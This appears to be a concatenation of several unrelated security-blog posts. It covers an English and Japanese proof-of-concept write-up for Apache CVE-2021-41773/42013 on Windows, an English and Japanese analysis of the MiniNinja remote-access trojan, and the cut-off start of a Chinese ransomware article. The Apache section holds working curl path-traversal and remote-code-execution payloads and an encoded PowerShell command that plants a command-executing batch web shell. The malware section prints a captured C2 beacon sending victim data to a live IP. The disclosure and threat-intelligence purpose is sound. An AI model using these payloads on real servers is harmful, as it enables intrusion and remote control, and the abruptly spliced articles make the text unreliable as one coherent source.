- JABzAHQAcgA9AEAAIgANAAoAQABlAGMAaABvACAAbwBmAGYAIAAmACYAIABlAGMAaABvACAAQwBvAG4AdABlAG4AdAAtAHQAeQBwAGUAOgB0AGUAeAB0AC8AcABsAGEAaQBuACAAJgAmACAAZQBjAGgAbwAuAA0ACgBlAGMAaABvACAAJQAxAA0ACgBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIAAtAE4AbwBMAG8AZwBvACAALQBOAG8AUAByAG8AZgBpAGwAZQAgAC0AQwBvAG0AbQBhAG4AZAAgACIAJQAxACAAfAAgAE8AdQB0AC0AZgBpAGwAZQAgAC0ARQBuAGMAbwBkAGkAbgBnACAAdQB0AGYAOAAgAC0ARgBpAGwAZQBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXAByAC4AdAB4AHQAIgANAAoAdAB5AHAAZQAgAEMAOgBcAFUAcwBlAHIAcwBcAFAAdQBiAGwAaQBjAFwAcgAuAHQAeAB0AA0ACgBkAGUAbAAgAEMAOgBcAFUAcwBlAHIAcwBcAFAAdQBiAGwAaQBjAFwAcgAuAHQAeAB0AA0ACgAiAEAADQAKAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABzAHQAcgAgAHwAIABPAHUAdAAtAGYAaQBsAGUAIAAtAEUAbgBjAG8AZABpAG4AZwAgAGEAcwBjAGkAaQAgAC0ARgBpAGwAZQBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXABjAC4AYgBhAHQA

Decoded script:

```
$str=@"
@echo off && echo Content-type:text/plain && echo.
echo %1
powershell.exe -NoLogo -NoProfile -Command "%1 | Out-file -Encoding utf8 -FilePath C:\Users\Public\r.txt"
type C:\Users\Public\r.txt
del C:\Users\Public\r.txt
"@
Write-Output $str | Out-file -Encoding ascii -FilePath C:\Users\Public\c.bat
```



## **Patches & Remediation**
- Update Apache HTTP Server to the latest version (2.4.50+)



## **Appendix: Working with CGI**

## demo.bat
```
@echo off && echo Content-type:text/plain && echo.
echo %1
```

## test with demo.bat

- Remote shell execution
![遠端測試.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157682/_9ed6e42028.png)



-Decode special characters
![解碼無法印出字元.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157682/_c9e8a9fbfe.png)



- Identical to the system output
![與實際上系統執行結果一致.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157682/_048619bbc1.png)



## **References**

- [Apache HTTP Server 2.4 vulnerabilities - The Apache HTTP Server Project](https://httpd.apache.org/security/vulnerabilities_24.html)
- [Florian Roth ⚡️ 在 Twitter 上：“I have summarized the Apache path normalization clusterfuck for you https://t.co/FkwDf4qDxH” / Twitter](https://twitter.com/cyb3rops/status/1446893960950128644)
- [Akamai Blog | Mitigating CVE-2021-41773: Apache HTTP Server Path Traversal](https://www.akamai.com/blog/news/how-akamai-helps-you-protect-against-0-days)

*Image courtesy of Pixabay: [Pixabay](https://pixabay.com/photos/highway-road-tornado-lightning-5433087/)

Apache HTTP Server Vulnerabilities in Windows (CVE-2021-41773 & CVE-2021-42013)

# **はじめに**

Apache HTTP Serverは、クロスプラットフォームの利便性から幅広く使用されているオープンソースのWebサーバソフトウェアです。最近、Apache HTTP Serverにおいて、2つのハイリスクの脆弱性（CVE-2021-41773およびCVE-2021-42013）の存在が明らかになりました。インターネット上で公開されている脆弱性の利用についての詳細のほとんどは、Linuxシステムがメインとなっていますが、当社はWindowsにもこの脆弱性の問題が存在していることを把握しており、本記事で脆弱性の利用に関する詳細を明らかにします。また、ハッキング攻撃のターゲットにならないように、Apacheをできるだけ早く最新バージョンにアップデートすることをおすすめします。

![meme.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157682/meme_c7a9e6fc2c.jpg)

## **脆弱性について**

研究員は特殊なHTTPリクエストを送信し、Apacheサーバの脆弱性を利用することでパスの列挙やリモートコード実行の攻撃が可能となることを発見しました。以下はcurlコマンドで実装したLinuxのペイロード（Payload）です：

攻撃の結果1：システムファイルを任意にダウンロード（Path Traversal）

```curl -s --path-as-is "http://127.0.0.1/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32
%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/
etc/passwd"
```

攻撃の結果2：リモートコード実行（Remote Code Execution）

```curl -s -d "echo;id" --path-as-is "http://127.0.0.1/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32
%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/
bin/sh"
```

**脆弱性が発生する原因**

はじめに、上記の攻撃の構文を例にすると、Apache 2.4.50では、脆弱性が適切に修正されていないため、double encodeにより、2つの脆弱性（CVE-2021-41773およびCVE-2021-42013）を同時に突く攻撃が可能となります。これは、Apacheが外部のHTTPリクエストを処理する時に、ap_process_request_internal関数を呼び出してURLを処理することが原因となっています。この関数では、はじめにap_normalize_path関数を呼び出してURLを1回デコードし、次にap_unescape_url関数を呼び出して2回デコードします。図1からかわるように、Apache 2.4.50は脆弱性を修正するのに必要なコードが不完全です。元の571行では、エンコード後のパスのスケープをチェックしていなかったことが確認でき、576行から対応するチェックが追加されましたが、依然としてチェックが不完全なため、double encodeによりバイパスが可能です。

![pic 1_eng.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1641180197/pic_1_eng_4fe4a7c1ff.png)
<center>図1：Apache 2.4.49と2.4.50のコード</center>

攻撃の構文経過は2回のDecodeを経ます：

```
http://127.0.0.1/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32
%65%%32%65/%%32%65%%32%65/%%32%65%%32
%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh
```

```
http://127.0.0.1/icons/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/
%2e%2e/%2e%2e/%2e%2e/bin/sh
```

そのため、このURI Decodeは最終的に以下のようになります：

```
http://127.0.0.1/icons/../../../../../../../../../../bin/sh
```

上記の簡単な説明からわかるように、元のApacheはユーザーから送信されたパスのエスケープを完全にチェックすることができないため、攻撃者は悪意のあるpayloadを入力して攻撃できます。

続いて、Windowsプラットフォームの利用方法とケースに焦点を当てます：

## **PoC on Windows**

- 当社は公式ウェブサイトからApacheをダウンロードし、攻撃対象として設定しました。（IP: 192.168.56.161）

**攻撃の結果1：システムファイルを任意にダウンロード（Path Traversal）**

図2はC:/Windows/win.iniのファイル内容を読み取った例です。

![pic 2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157683/pic_2_792d054cbf.png)
<center>図2：システムファイルを任意にダウンロード</center>

**攻撃の結果2：リモートコード実行（Remote Code Execution）**

1.cmd.exeでpowershellを実行し、C:\Users\Public\ にc.batを書き込みます。cgiプログラムには正確なhttp header responseがないため、apacheはstatus code 500を返しますが、scriptの実行は成功しています。下図3をご参照ください。

![pic 3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157684/pic_3_3f12f57192.png)
<center>図3：実行結果画面</center>

2. 次にc.batで任意のコマンドを実行することで、実行結果を確認できます。（図4）

![pic 4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157683/pic_4_b195f466cb.png)
<center>図4：実行結果画面</center>

これは、Process Monitorで記録されたプログラムのプロセスです。（図5）：

![pic 5.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157683/pic_5_c18bad34ee.png)
<center>図5：Process Monitorの画面</center>

Process Monitorのプロセス実行履歴を注意深く観察すると、コマンドに特殊文字が含まれている場合、ダブルクオーテーションで囲まれることがわかります。e.g. : ```cmd.exe "/c powershell.exe -NoProfile -EncodedCommand ..."```。cmd.exeの特徴から、コマンドは正常に実行されます。

**cmd.exe magic parser**

Payloadが引用符を使用しても実行できる理由を研究するため、当社はさらにcmdで異なる引用符が使用された際の結果を分析しました。

- help documentation

![pic 6-2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1641286924/pic_6_2_f1ab2bc981.png)

<center>図6：cmd実行画面</center>

- Surprise!

![pic 7.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157682/pic_7_f58e914086.png)

<center>図7：cmd実行画面</center>

| **Command ** | **Similar** |
|---|---|
|```cmd.exe "/c dir"```|```cmd.exe /c dir"```|
|```cmd.exe "/c dir "```|```cmd.exe /c dir "```|
|```cmd.exe ~!@#$%^&*()_+{}:"<>?/c dir```|```cmd.exe /c dir```|
|```cmd.exe ~!@#$%^&*()_+{}:"<>?/c dir "```|```cmd.exe /c dir "```|
|```cmd.exe ~!@#$%^&*()_+{}:"<>?/cdir```|```cmd.exe /c dir```|


**cmd with powershell.exe**

| **Command ** | **Result ** |
|---|---|
|```powershell.exe -c write-output 1```|```1```|
|```powershell.exe -c write-output "1```|```1```|
|```powershell.exe -c write-output 1"```|```1```|
|```powershell.exe -c write-output ""1```|```1```|
|```powershell.exe -c write-output 1""```|```1```|
|```powershell.exe -c write-output """```|```The string is missing the terminator: ".```|
|```powershell.exe -c write-output "1""```|```	The string is missing the terminator: ".```|
|```powershell.exe -c write-output ""1"```|```1```|
|```powershell.exe -c write-output "1"1"```|```11```|
|```powershell.exe -c write-output """"```|```The string is missing the terminator: ".```|
|```powershell.exe -c write-output "1""1"```|```The string is missing the terminator: ".```|
|```powershell.exe -c write-output """""```|```	The string is missing the terminator: ".```|
|```powershell.exe -c write-output """1"""```|```1```|
|```powershell.exe -c write-output """"1"""```|```1```|
|```powershell.exe -c write-output """1""""```|```1```|
|```powershell.exe -c write-output """1"""""```|```1```|
|```powershell.exe -c write-output """""1"""```|```1```|
|```powershell.exe -c write-output """1""""""2"""```|```1"2```|
|```powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAiADEA```|```The string is missing the terminator: ".```|
|```powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en d""wByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en d"wByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en "dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA=="```|```1```|
|```powershell.exe -en ""dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==```|```1```|
|```powershell.exe -en dwByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA==""```|```1```|
|```powershell.exe -en "d"wByAGkAdABlAC0AbwB1AHQAcAB1AHQAIAAxAA=="```|```1```|


**powershell write C:\Users\Public\c.bat**

以下はPowershell scriptをエンコードした内容です：

- JABzAHQAcgA9AEAAIgANAAoAQABlAGMAaABvACAAbwBmAGYAIAAmACYAIABlAGMAaABvACAAQwBvAG4AdABlAG4AdAAtAHQAeQBwAGUAOgB0AGUAeAB0AC8AcABsAGEAaQBuACAAJgAmACAAZQBjAGgAbwAuAA0ACgBlAGMAaABvACAAJQAxAA0ACgBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIAAtAE4AbwBMAG8AZwBvACAALQBOAG8AUAByAG8AZgBpAGwAZQAgAC0AQwBvAG0AbQBhAG4AZAAgACIAJQAxACAAfAAgAE8AdQB0AC0AZgBpAGwAZQAgAC0ARQBuAGMAbwBkAGkAbgBnACAAdQB0AGYAOAAgAC0ARgBpAGwAZQBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXAByAC4AdAB4AHQAIgANAAoAdAB5AHAAZQAgAEMAOgBcAFUAcwBlAHIAcwBcAFAAdQBiAGwAaQBjAFwAcgAuAHQAeAB0AA0ACgBkAGUAbAAgAEMAOgBcAFUAcwBlAHIAcwBcAFAAdQBiAGwAaQBjAFwAcgAuAHQAeAB0AA0ACgAiAEAADQAKAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABzAHQAcgAgAHwAIABPAHUAdAAtAGYAaQBsAGUAIAAtAEUAbgBjAG8AZABpAG4AZwAgAGEAcwBjAGkAaQAgAC0ARgBpAGwAZQBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXABjAC4AYgBhAHQA

以下はPowershell scriptをデコードした内容です：

```
$str=@"
@echo off && echo Content-type:text/plain && echo.
echo %1
powershell.exe -NoLogo -NoProfile -Command "%1 | Out-file -Encoding utf8 -FilePath C:\Users\Public\r.txt"
type C:\Users\Public\r.txt
del C:\Users\Public\r.txt
"@
Write-Output $str | Out-file -Encoding ascii -FilePath C:\Users\Public\c.bat
```



## **影響と提案**
- Apacheを最新バージョンにアップデートすることをおすすめします。



## **付録 cgi-bin how to work**

- インターネット上のほとんどのLinux PoCは、POST dataの方式を使用しています。ここではGET parameterを使用し、その違いを説明します。

## demo.bat
```
@echo off && echo Content-type:text/plain && echo.
echo %1
```

## test with demo.bat

- リモートテスト
![遠端測試.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157682/_9ed6e42028.png)



- デコードで文字が印刷されない
![解碼無法印出字元.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157682/_c9e8a9fbfe.png)



- 実際のシステム実行結果と一致
![與實際上系統執行結果一致.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1640157682/_048619bbc1.png)



## **参考文献**

- [Apache HTTP Server 2.4 vulnerabilities - The Apache HTTP Server Project](https://httpd.apache.org/security/vulnerabilities_24.html)
- [Florian Roth ⚡️ @ Twitter ：“I have summarized the Apache path normalization clusterfuck for you https://t.co/FkwDf4qDxH” / Twitter](https://twitter.com/cyb3rops/status/1446893960950128644)
- [Akamai Blog | Mitigating CVE-2021-41773: Apache HTTP Server Path Traversal](https://www.akamai.com/blog/news/how-akamai-helps-you-protect-against-0-days)

*画像のソース: [Pixabay](https://pixabay.com/photos/highway-road-tornado-lightning-5433087/)

Apache HTTP Server（Windows）2021 ハイリスクのセキュリティ脆弱性の詳細

TeamT5 discovered a new remote administration tool (RAT), which we dubbed as MiniNinja, being used in several Chinese APT campaigns. TeamT5 has observed countries across different APAC regions, including Taiwan, Russia, Kyrgyzstan, Uzbekistan, Vietnam, the Philippines, and Pakistan, being targeted and attacked by this malware. The impacted industries include governments, energy, IT, telecommunication and engineering. MiniNinja is a complex malware that uses several advanced techniques to prevent itself from being detected and analyzed. Further, its wide targeting scope also attracted our attention. In this report, we will introduce the technical detail of our analysis.

MiniNinja was first discovered in the wild in a targeted attack against Taiwanese government agencies in early March 2021. The actor leveraged the ProxyLogon vulnerability (CVE-2021-26855) to compromise an email server and further implanted CobaltStrike Beacon and MiniNinja RAT in the victim network environment. This information was also disclosed in an ESET report[1] about a "Websiic Campaign" using the ProxyLogon vulnerability. TeamT5 noticed the existence of this new malware and started tracking its activities. Since then, TeamT5 has observed its footprints in Vietnam[2], Pakistan and the Philippines, possibly also implanted in victim hosts via the ProxyLogon vulnerability. Its latest activities were spear phishing email attacks against Russia and Uzbekistan in September 2021. TeamT5 is still uncertain of the attribution of these attacks. However, we possess high confidence that this is a new tool used by Chinese APT based on its TTPs and C2 infrastructure.

To bypass antivirus detection, MiniNinja is encrypted as a binary blob in a binary payload file. It might have one to multiple loader components in native PE or .Net, but basically the loaders do similar tasks. The loader components will decrypt and run it in memory via reflective DLL injection techniques. Its loader firstly checks the first 4 bytes of the payload file and decrypts the content by using 3DES (112bit) algorithm in case of header check passes:

![2110-1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1634097412/2110_1_19727d525b.png)

 

The decrypted buffer might be passed to a second stage loader for further processing if there are multiple loader components. The loader will then decode the content by custom decoding methods and LZSS decompression algorithm. The decoded payload is a PE file with its PE header erased and it is just the MiniNinja RAT. Finally, the loader will locate its export function "Debug" and start execution from there:

![2110-2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1634097412/2110_2_acd0d24736.png)

 

In a payload collected from some Taiwanese victims, there is a PDB string left by the developer (only in memory) and thus we name this malware MiniNinja:

![2110-3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1634097412/2110_3_f98da0e1b4.png)

 

The decrypted malware configuration block contains Mutex string, C2 URL, HTTP Header information, sleep time, etc.:

![2110-4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1634097412/2110_4_aabe1c7b5a.png)

 

Upon execution, the following victim host information will be collected:

 - System info
 - OS version
 - Hostname
 - IP addr
 - Process name
 - Process ID

The above data would be encoded with XOR encode and custom base64 encode. Finally, the encoded result would be sent to its C2 via POST:

```
POST http://149.28.28.159:443/Collector/3.0/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 149.28.28.159:443
User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv 11.0) like Gecko
Content-Length: 474
Pragma: no-cache

ngluKGJ2JZ2[NKOs506NzsX9yVU7gkxWozQK5WmWoaUr9C0DN0iXb6lwFkcb2CE3HBk[4ISP3nI88jpLROJhQp8PvwLHU6LGYT4J4d4WOETXaWu8jJLr0N80JNKmWRRSDKXoD]Wu3RI0XBwdm3bNtwJ2eTWZ0]4FAcLpw3WRspgfixnubeemSnViV2Rs77m]oaTfrHNCxFdoiIwSvBKJIjPJ[Qc1GCdteLSasYUHvVx3RIAgKOusXgh4Yy9tu4C1083RoI3E5ej7twUC0CdsmzGrZwqBJ5JOYkPHyPn7LNsFfF1UexYEZeyivz[NxuT4NQS0U7h[ZffjtiGr05wUVUl0W9xXsXB1W8xm5TYtWO969oYHrrpNa0bfCMFwGT99ZHTOJiexqpll1HYxU[9oV]flQm2SYXaRL[gc0M]icbcpG0FcHPB5umIZFdxGPTK96aTFlHY8gr1P3K0j[KLr91Lw$$
```

MiniNinja is a full-featured RAT that supports commands for file, process, memory, shell or account operations. Its supported functions are listed below in the Command Table.


## Command Table

Supported command:

|Command | Description|
|---|---|
|0x4E20| Heart beat|
|0x4E21| Init dwProcessId|
|0x4E22| Change sleep time|
|0x4E23| Exit(ExitProcess) | 
|0x4E24| CreateProcess|
|0x4E25| TerminateThread |
|0x4E26| set close_socket to 0|
|0x4E2A| ShellCommand |
|0x4E2B| Get Command Result(call WriteFile,PeekNamedPipe,ReadFile)|
|0x4E2C| TerminateProcess|
|0x4E2D| IterateProcess then TerminateProcess|
|0x4E34 ~ 0x4E47| File Operations|
|0x4E34| List Disk Driver|
|0x4E35| ListDirectory|
|0x4E36| CreateDirectory|
|0x4E37| DeleteFile|
|0x4E38| RemoveDirectory|
|0x4E39| MoveFile|
|0x4E3A| CreateFile|
|0x4E3E| ReadFile|
|0x4E3F| WriteFile|
|0x4E48 - 0x4E51| Socket Operations|
|0x4E48|Connet Host|
|0x4E49|Check socket status|
|0x4E4A|Send Data to Host|
|0x4E4B|Recv Data from Host|
|0x4E4C|Close socket|
|0x4E4D|Connect Host|
|Preserved?(0x4E4E-0x4E51)|Null|
|0x4E5C ~ 0x4E65| Memory Operations|
|0x4E5C|string copy|
|0x4E5D|string copy|
|0x4E5E|string copy|
|*0x4E5F,0x4E60| Execute Plugin? (CreateProcess, process Injection and createthread)|
|*0x4E61,0x4E62| FileMapping(Write data) |
|Preserved?(0x4E63,0x4E64)| Null|
|*0x4E65|Close File Handler|
|0x5208|List c2 configuration|
|0x4E52|List Process|
|0x4E53|IterateProcess,kill process|
|0x4E54|Process Injection|
|0x4E55|CreateThread for running DLL export function |
|0x4E56|Read FileMap data(OpenFileMappingA -> robject_,custom_base64)|
|0x4E57|Exit Dll function?(robject_, UnmapViewOfFile)|
|0x4E58|LookupAccountSid|

## IoC

- 149.28.28.159
- 167.99.168.251
- 185.220.101.204
- 162.247.72.199
- 194.156.98.191
- 202.182.100.134
- 109.70.100.55
- 185.220.101.18
- 193.36.119.144 (TW compromised host)

## References

[1] https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/

[2] https://gteltsc.vn/blog/cap-nhat-nhe-ve-lo-hong-bao-mat-0day-microsoft-exchange-dang-duoc-su-dung-de-tan-cong-cac-to-chuc-tai-viet-nam-9685.html

 

*Image courtesy of [Pixabay](https://pixabay.com/illustrations/ninja-warrior-moon-japanese-japan-2255848/)

Assassinations of "MiniNinja" in Various APAC Countries

TeamT5 は、複数の中国のAPTキャンペーンで使用されている新たなリモート管理ツール（RAT）を発見し、MiniNinjaと名付けました。TeamT5では、台湾、ロシア、キルギスタン、ウズベキスタン、ベトナム、フィリピン、パキスタンなどのさまざまなAPAC地域の国々がこのマルウェアの標的となり、攻撃を受けていることを確認しています。この影響を受けた業界には、政府、エネルギー、IT、電気通信、エンジニアリングなどが含まれています。MiniNinjaは複雑なマルウェアで、複数の高度なテクニックを用いて検出や分析を回避します。また、標的とする範囲が広いことも注目すべき点です。本レポートでは、私たちが行った分析で得られた技術的な詳細について紹介します。

MiniNinjaは、2021年3月上旬に台湾の政府機関に対する標的型攻撃で初めて出回っているのが発見されました。この脅威アクターは、ProxyLogonの脆弱性（CVE-2021-26855）を利用してメールサーバを侵害し、さらに被害者のネットワーク環境にCobaltStrike BeaconとMiniNinja RATを埋め込んでいました。この情報は、 ProxyLogonの脆弱性を利用した「Websiic キャンペーン」に関するESETのレポート[1]でも公開されています。TeamT5は、この新たなマルウェアの存在に気づき、その活動の追跡を開始しました。それ以来、TeamT5は、ベトナム[2]、パキスタン、フィリピンでその足跡を確認しており、おそらくProxyLogonの脆弱性を介して被害者のホストにも埋め込まれている可能性があります。最新見られた活動は、2021年9月にロシアとウズベキスタンに対して行われたスピアフィッシングメール攻撃でした。TeamT5は、これらの攻撃の属性をまだ特定できていません。しかしながら、そのTTPやC2インフラから、中国のAPTが使用する新たなツールであると確信しています。

アンチウイルスの検出を回避するために、MiniNinjaはバイナリペイロードファイルのバイナリBLOBとして暗号化されています。ネイティブPEまたは.Netに1つまたは複数のローダーコンポーネントを持っている可能性がありますが、基本的にはローダーは類似したタスクを実行します。ローダーコンポーネントは、反射型DLLインジェクション技術を介してメモリ内で解読および実行されます。ローダーは、まずペイロードファイルの先頭4バイトをチェックし、ヘッダチェックがパスした場合には3DES（112ビット）アルゴリズムを使用してコンテンツを復号化します。

![2110-1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1634097412/2110_1_19727d525b.png)

 

ローダーコンポーネントが複数ある場合は、さらに処理するために復号化されたバッファが第2ステージのローダーに渡される可能性があります。その後、ローダーはカスタムデコード方式とLZSS解凍アルゴリズムを使用してコンテンツを解読します。解読されたペイロードは、PEヘッダーが消去されたPEファイルで、単純なMiniNinja RATです。最後に、ローダーは自身が有するエクスポート関数「Debug」を見つけて、そこから実行を開始します。

![2110-2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1634097412/2110_2_acd0d24736.png)

 

台湾の被害者から収集したペイロードの中に、開発者が残したPDB文字列（メモリ内のみ）が残っていたため、私たちはこのマルウェアをMiniNinjaと名付けました。

![2110-3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1634097412/2110_3_f98da0e1b4.png)

 

解読されたマルウェアの構成ブロックには、Mutex文字列、C2 URL、HTTPヘッダー情報、スリープ時間などが含まれていました。

![2110-4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1634097412/2110_4_aabe1c7b5a.png)

 

実行すると、以下の情報を被害者のホストから収集します。

 - システム情報
 - OSバージョン
 - ホスト名
 - IPアドレス
 - プロセス名
 - プロセスID

上記のデータは、XORエンコードとカスタムbase64エンコードでエンコードされます。最後に、エンコードされた結果がPOST経由でMiniNinjaのC2に送信されます。

```
POST http://149.28.28.159:443/Collector/3.0/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 149.28.28.159:443
User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv 11.0) like Gecko
Content-Length: 474
Pragma: no-cache

ngluKGJ2JZ2[NKOs506NzsX9yVU7gkxWozQK5WmWoaUr9C0DN0iXb6lwFkcb2CE3HBk[4ISP3nI88jpLROJhQp8PvwLHU6LGYT4J4d4WOETXaWu8jJLr0N80JNKmWRRSDKXoD]Wu3RI0XBwdm3bNtwJ2eTWZ0]4FAcLpw3WRspgfixnubeemSnViV2Rs77m]oaTfrHNCxFdoiIwSvBKJIjPJ[Qc1GCdteLSasYUHvVx3RIAgKOusXgh4Yy9tu4C1083RoI3E5ej7twUC0CdsmzGrZwqBJ5JOYkPHyPn7LNsFfF1UexYEZeyivz[NxuT4NQS0U7h[ZffjtiGr05wUVUl0W9xXsXB1W8xm5TYtWO969oYHrrpNa0bfCMFwGT99ZHTOJiexqpll1HYxU[9oV]flQm2SYXaRL[gc0M]icbcpG0FcHPB5umIZFdxGPTK96aTFlHY8gr1P3K0j[KLr91Lw$$
```

MiniNinjaは、ファイル、プロセス、メモリ、シェルまたはアカウント操作のコマンドをサポートする、フル機能のRATです。次のコマンド表は、サポートされる機能を示しています。

## コマンド表

サポートされるコマンド：

| コマンド | 説明 |
|---|---|
|0x4E20| Heart beat|
|0x4E21| Init dwProcessId|
|0x4E22| Change sleep time|
|0x4E23| Exit(ExitProcess) | 
|0x4E24| CreateProcess|
|0x4E25| TerminateThread |
|0x4E26| set close_socket to 0|
|0x4E2A| ShellCommand |
|0x4E2B| Get Command Result(call WriteFile,PeekNamedPipe,ReadFile)|
|0x4E2C| TerminateProcess|
|0x4E2D| IterateProcess then TerminateProcess|
|0x4E34 ~ 0x4E47| File Operations|
|0x4E34| List Disk Driver|
|0x4E35| ListDirectory|
|0x4E36| CreateDirectory|
|0x4E37| DeleteFile|
|0x4E38| RemoveDirectory|
|0x4E39| MoveFile|
|0x4E3A| CreateFile|
|0x4E3E| ReadFile|
|0x4E3F| WriteFile|
|0x4E48 - 0x4E51| Socket Operations|
|0x4E48|Connet Host|
|0x4E49|Check socket status|
|0x4E4A|Send Data to Host|
|0x4E4B|Recv Data from Host|
|0x4E4C|Close socket|
|0x4E4D|Connect Host|
|Preserved?(0x4E4E-0x4E51)|Null|
|0x4E5C ~ 0x4E65| Memory Operations|
|0x4E5C|string copy|
|0x4E5D|string copy|
|0x4E5E|string copy|
|*0x4E5F,0x4E60| Execute Plugin? (CreateProcess, process Injection and createthread)|
|*0x4E61,0x4E62| FileMapping(Write data) |
|Preserved?(0x4E63,0x4E64)| Null|
|*0x4E65|Close File Handler|
|0x5208|List c2 configuration|
|0x4E52|List Process|
|0x4E53|IterateProcess,kill process|
|0x4E54|Process Injection|
|0x4E55|CreateThread for running DLL export function |
|0x4E56|Read FileMap data(OpenFileMappingA -> robject_,custom_base64)|
|0x4E57|Exit Dll function?(robject_, UnmapViewOfFile)|
|0x4E58|LookupAccountSid|

## IoC

- 149.28.28.159
- 167.99.168.251
- 185.220.101.204
- 162.247.72.199
- 194.156.98.191
- 202.182.100.134
- 109.70.100.55
- 185.220.101.18
- 193.36.119.144 （台湾の侵害されたホスト）

## 参考文献

[1] https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/

[2] https://gteltsc.vn/blog/cap-nhat-nhe-ve-lo-hong-bao-mat-0day-microsoft-exchange-dang-duoc-su-dung-de-tan-cong-cac-to-chuc-tai-viet-nam-9685.html

 

*画像のソース: [Pixabay](https://pixabay.com/illustrations/ninja-warrior-moon-japanese-japan-2255848/)

APACの様々な国で見られる「MiniNinja」攻撃

早期勒索軟體通常是透過木馬病毒，無方向性、任意擴散、亂槍打鳥，隨著網路下載檔案時入侵或經由系統漏洞進入被害者電腦。過去多數的被害者身分是一般民眾，他們一般處理的方式是默默支付約莫一千美元贖金，贖回電腦的解鎖。隨著網路威脅攻擊態勢的改變，威脅攻擊對象從個人移轉到企業為目標，攻擊手法也從隨機入侵變化為有目標性的入侵，這也就是所謂針對式的勒索軟體攻擊。


## 勒索軟體攻擊於 2019 年爆發式增長，至今沒有放緩跡象

近年來，攻擊態勢明顯改變，出現了針對型的勒索（targeted ransomware），攻擊發起時就鎖定目標，對象多是大型企業，駭客入侵後通常不會立即加密一台電腦，而是想辦法取得系統存取的最高權限，然後一次安裝勒索軟體在企業內所有電腦，時間到就全部進行加密、癱瘓企業，一次勒索金額甚至可高達五千萬美元（相當於新台幣十四億元）。

隨著加密貨幣流行的興起，駭客集團也隨之運用加密貨幣中心來掩護不法現金流追查，同時此行為也愈來愈猖獗，甚至引發美國政府主動採取對抗勒索軟體的決心，其中加強加密貨幣監管視為其中之一對抗的目標，還有就是這幾年網路所流傳的非主流服務，勒索軟體即服務（Ransomware as a Service，簡稱 RaaS）商業模式的出現，此現象也誘使更多犯罪團體發起勒索攻擊的行為。

今年五月區塊鏈研究機構 Chainalysis 發布[《2021 勒索軟體年中的重大事件報告》](https://blog.chainalysis.com/reports/ransomware-update-may-2021/)，提及 2019 年是勒索贖金急遽增長的關鍵指標，從 2019 年第一季平均六千美元的贖金金額，延續至 2021 年第一季，平均贖金已高達五萬四千美元，此金額倍數般的驚人成長，尤其被駭客集團所盯上的高科技產業，例如 2021 年 REvil 陸續成功駭入宏碁與廣達，則被駭客獅子大開口要求支付五千萬美元贖金，不論最終企業是否支付，鉅額贖金儼然已成為常態。

![202109_1改.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1632897561/202109_1_e46dc8cfb4.png)
_表一、各季平均已知勒索支付金額。資料參考自 [Chainalysis Insights](https://blog.chainalysis.com/reports/ransomware-update-may-2021/)。_

 

## 防駭如防疫，唯有「全面防堵」

